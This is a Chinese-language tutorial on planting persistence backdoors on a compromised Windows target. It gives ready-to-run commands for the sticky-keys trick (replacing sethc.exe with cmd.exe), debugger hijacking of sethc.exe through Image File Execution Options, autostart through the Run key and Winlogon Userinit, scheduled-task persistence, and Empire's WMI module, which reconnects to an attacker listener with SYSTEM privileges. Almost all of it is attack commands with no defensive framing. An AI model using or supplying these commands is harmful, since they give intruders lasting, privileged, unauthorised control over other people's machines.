Windows操作系统后门
粘滞键后门
在windows上连续按5次“Shift”,就可以调出粘滞键。
方法一:
如果目标机是 winvista 以上的,即 winvista 以后出的系统,修改 sethc 会提示需要 trustedinstaller 权限,所以想要继续,那就需要修改所有者为Administrator,并修改其权限:
将C:\Windows\System32目录下的sethc.exe替换
修改完成后以管理员身份运行执行命令:
cd windows\system32 move sethc.exe sethc.exe.bak copy cmd.exe sethc.exe
然后连续按5次“Shift”,就会弹出cmd框
方法二:
修改注册表,利用镜像劫持。镜像劫持可以理解为当你打开a.exe程序实际打开的却是b.exe程序,那么a程序就是被b程序劫持了。执行如下命令:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\calc.exe"
在 ‘ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options ’中添加sethc.exe记录,在键值Debugger中设置我们要替换的程序,即可完成镜像劫持。
然后连续按5次“Shift”,就会弹出计算器
注册表自启动
通过修改注册表来让程序自启动
注册表位置一:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
执行如下命令添加启动项:REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\windows\system32\calc.exe"
完成后当开机时自动启动calc.exe
注册表位置二:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的键值Userinit
将键值修改为C:\Windows\system32\userinit.exe,cmd.exe
重新登录用户,发现登录自启动cmd.exe
计划任务后门
命令:
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
以上的命令会在每小时执行一次notepad.exe,在win7及以下的系统使用at命令代替schtasks
WMI后门
WMI后门有两个特征:无文件和无进程。相对于以上的方法,它难以排查,而且也比较容易绕过限制
当我们使用empire获得了一台主机的控制权后,可以使用empire的wmi模块留下后门:
在empire使用模块:usemodule persistence/elevated/wmi
设置好Listener参数:set Listener xxxx
,执行run
重启靶机,靶机会在五分钟内重新连接回来,并且连接时就是system权限